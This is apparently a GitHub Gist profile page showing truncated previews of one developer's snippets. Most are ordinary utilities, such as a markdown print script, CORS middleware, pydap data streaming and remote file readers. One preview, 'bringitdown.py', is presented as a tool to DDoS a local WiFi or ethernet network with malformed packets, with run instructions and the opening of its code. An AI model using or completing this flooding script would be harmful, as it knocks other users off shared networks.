Skip to content

Instantly share code, notes, and snippets.

View betodealmeida's full-sized avatar
💭
Code code code

Beto Dealmeida betodealmeida

💭
Code code code
View GitHub Profile
@betodealmeida
betodealmeida / github-markdown-print.js
Created June 6, 2018 19:31 — forked from hangxingliu/github-markdown-print.js
GitHub Markdown Print Script
// Refrence from: https://gist.github.com/beevelop/a0f2c76e79610dca01550c9a93f83876
// Copy following scripts in the developer console of page included markdown content you want to print:
(function () {
var $ = document.querySelector.bind(document);
$('#readme').setAttribute('style', 'position:absolute;top:0;left:0;right:0;bottom:0;z-index:100;background-color:white');
$('#readme>article').setAttribute('style', 'border: none');
$('body').innerHTML = $('#readme').outerHTML;
window.print();
})();
# DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets
# brew install libdnet; pip install dnet
# sudo python bringitdown.py
import dnet
def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'):
datalink = dnet.eth(iface)
h = datalink.get().encode('hex_codec')
def stream(self):
with open(self.filepath, 'Ur') as fp:
reader = csv.reader(fp)
reader.next() # consume var names
for row in reader:
yield row

Keybase proof

I hereby claim:

  • I am robertodealmeida on github.
  • I am beto (https://keybase.io/beto) on keybase.
  • I have a public key whose fingerprint is 1CAF EFDA 6784 AD5E 406D 697F E0BB 5E03 9707 FD33

To claim this, I am signing this object:

validos = validos[~isnan(validos.numero)]
for l in lixo:
validos = validos[validos.comida != l]
class CORSMiddleware(object):
"""Enable serving of CORS requests (http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)"""
ALLOW_ORIGIN = "*"
ALLOW_HEADERS = "Origin, X-Requested-With, Content-Type"
def __init__(self, app):
self.app = app
def __call__(self, environ, start_response):
@betodealmeida
betodealmeida / gist:5384520
Created April 14, 2013 22:35
Streaming data via OPeNDAP
from pydap.model import *
from pydap.handlers.lib import IterData, BaseHandler
class SensorData(IterData):
"""
Sensor data as a structured array like object.
"""
def gen(self):
#!/bin/bash
#
# By Sirupsen @ http://sirupsen.dk
#
# Description: Very simple script to make you
# select a region of your screen, which will be captured, and
# then uploaded. The URL will then be injected into your clipboard.
#
# Dependencies:
#
import os
import urllib
from ftplib import FTP
import socket
from pupynere import netcdf_file
class FTPFile(object):
def __init__(self, url, buffer=4096):
import requests
class RemoteFile(object):
def __init__(self, url):
self.url = url
self.position = 0
def tell(self):
return self.position